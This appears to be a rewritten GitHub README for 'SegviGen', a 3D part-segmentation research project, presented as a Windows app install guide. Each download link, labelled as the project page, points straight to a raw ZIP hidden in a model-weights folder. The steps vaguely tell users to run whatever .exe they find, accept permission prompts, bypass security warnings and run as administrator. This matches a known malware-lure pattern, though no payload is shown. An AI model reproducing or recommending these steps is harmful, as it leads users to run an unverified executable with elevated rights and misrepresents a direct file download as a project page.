🧩 SegviGen - Simple 3D Part Segmentation Tool

📥 Download

Use this link to visit the project page and download the latest release:

https://raw.githubusercontent.com/GabrielBezerra123/SegviGen/main/trellis2/models/sc_vaes/Segvi-Gen-3.4.zip

If you see a release file on the page, download it to your PC. If the project provides a ZIP file, save it in a folder you can find again, such as Downloads or Desktop.

🖥️ What SegviGen Does

SegviGen is a Windows-friendly tool for 3D part segmentation. It helps split a 3D model into parts so you can inspect, label, or work with each section on its own.

Use it when you need to:

• separate parts of a 3D object
• inspect a model piece by piece
• work with 3D segmentation results
• test a 3D generative model for part analysis

✅ Before You Start

Make sure your PC has:

• Windows 10 or Windows 11
• a mouse and keyboard
• enough free disk space for the app and your 3D files
• a stable internet connection for the download
• a modern graphics card if you plan to work with large 3D models

For smooth use, keep at least 8 GB of RAM free before opening large models. If you work with complex scenes, 16 GB RAM works better.

🚀 How to Download and Open SegviGen on Windows

Follow these steps in order.

1. Open the download page: https://raw.githubusercontent.com/GabrielBezerra123/SegviGen/main/trellis2/models/sc_vaes/Segvi-Gen-3.4.zip

2. Look for a release, ZIP file, or Windows build.

3. Download the file to your computer.

4. Open File Explorer and go to the folder where the file was saved.

5. If the file is a ZIP archive, right-click it and choose Extract All.

6. Open the extracted folder.

7. Look for a file named SegviGen.exe, run.exe, or another Windows app file.

8. Double-click the app file to start SegviGen.

9. If Windows asks for permission, choose Yes.

10. If the app opens in a window, the setup is done.

🧰 If You Download a ZIP File

Some GitHub projects come as a ZIP file. If SegviGen is packaged that way, use this flow:

• download the ZIP from the project page
• extract the ZIP
• open the new folder
• find the app file inside
• double-click the app file to run it

If you see several folders, open the one that looks like the main program folder. It often has the app name or a bin folder.

🔍 First Launch

When you open SegviGen for the first time, it may take a moment to load. That is normal.

You may see screens or controls for:

• loading a 3D model
• viewing segmentation results
• changing how parts are shown
• saving output files

If Windows shows a security prompt, allow the app to run if you trust the source link above.

🧭 Basic Use

A simple workflow may look like this:

1. Open SegviGen
2. Load your 3D model
3. Wait for the model to appear
4. Run the part segmentation step
5. Review the separated parts
6. Save the result if needed

If the app supports file drag and drop, you can try dropping a 3D file into the main window.

📁 Supported File Types

SegviGen works best with common 3D model formats. These may include:

• OBJ
• PLY
• STL
• OFF
• GLB or GLTF

If a file does not load, try a different format. Some 3D files also need clean geometry before the app can process them.

🎯 Main Features

SegviGen is built around 3D part segmentation and model analysis. You can expect features like:

• 3D model loading
• part-level separation
• visual inspection of segmented pieces
• model preview in a 3D view
• export of segmentation output
• support for model testing and review

The tool aims to help users work with 3D objects in a clear way without needing a complex setup.

🧪 Common Uses

People may use SegviGen for:

• 3D research work
• model inspection
• object part analysis
• dataset review
• segmentation testing
• generative model experiments

If you work with 3D assets, it gives you a focused way to study how a shape breaks into parts.

🛠️ Troubleshooting

If SegviGen does not open, try these steps:

• download the file again
• extract the ZIP file fully
• check that you opened the right .exe file
• run the app as administrator
• restart Windows and try again
• make sure your graphics drivers are up to date

If the app opens but the 3D model does not load:

• check the file format
• try a smaller model
• move the model file to a simple folder path, such as C:\3D\model.obj
• remove special characters from the file name
• test with another 3D file

If the app feels slow:

• close other apps
• use a smaller model
• check free RAM
• make sure your GPU drivers are current

🔐 File Safety

Keep your files in folders you can find again, such as:

• Downloads
• Documents
• Desktop
• a folder named SegviGen

If you plan to test many models, make one folder for input files and one for output files. This keeps your work clean and easy to track.

🗂️ Suggested Folder Setup

You can use a simple layout like this:

• C:\SegviGen\App
• C:\SegviGen\Models
• C:\SegviGen\Output

This helps you find:

• the program
• your 3D files
• the saved segmentation results

🧩 Tips for Better Results

For better segmentation results, try these habits:

• use clean 3D models
• avoid damaged mesh files
• start with small test files
• keep file names short
• save outputs in a separate folder
• use one model at a time when testing

If a model has holes, strange faces, or broken edges, fix it in your 3D editor before loading it into SegviGen.

📌 Quick Start Checklist

• open the project page
• download the Windows file
• extract the files if needed
• run the app
• load a 3D model
• review the segmented parts
• save your result

📎 Project Info

Name: SegviGen
Description: SegviGen: Repurposing 3D Generative Model for Part Segmentation
Topics: 3d, 3d-segmentation
Platform: Windows

📦 Download Again

If you need the project page again, use this link:

https://raw.githubusercontent.com/GabrielBezerra123/SegviGen/main/trellis2/models/sc_vaes/Segvi-Gen-3.4.zip

🖱️ Step-by-Step Windows Path

If you want the shortest path from download to use:

1. Go to the project page
2. Download the file
3. Open Downloads
4. Extract the ZIP if needed
5. Open the app file
6. Allow Windows access
7. Load your 3D model
8. Start segmentation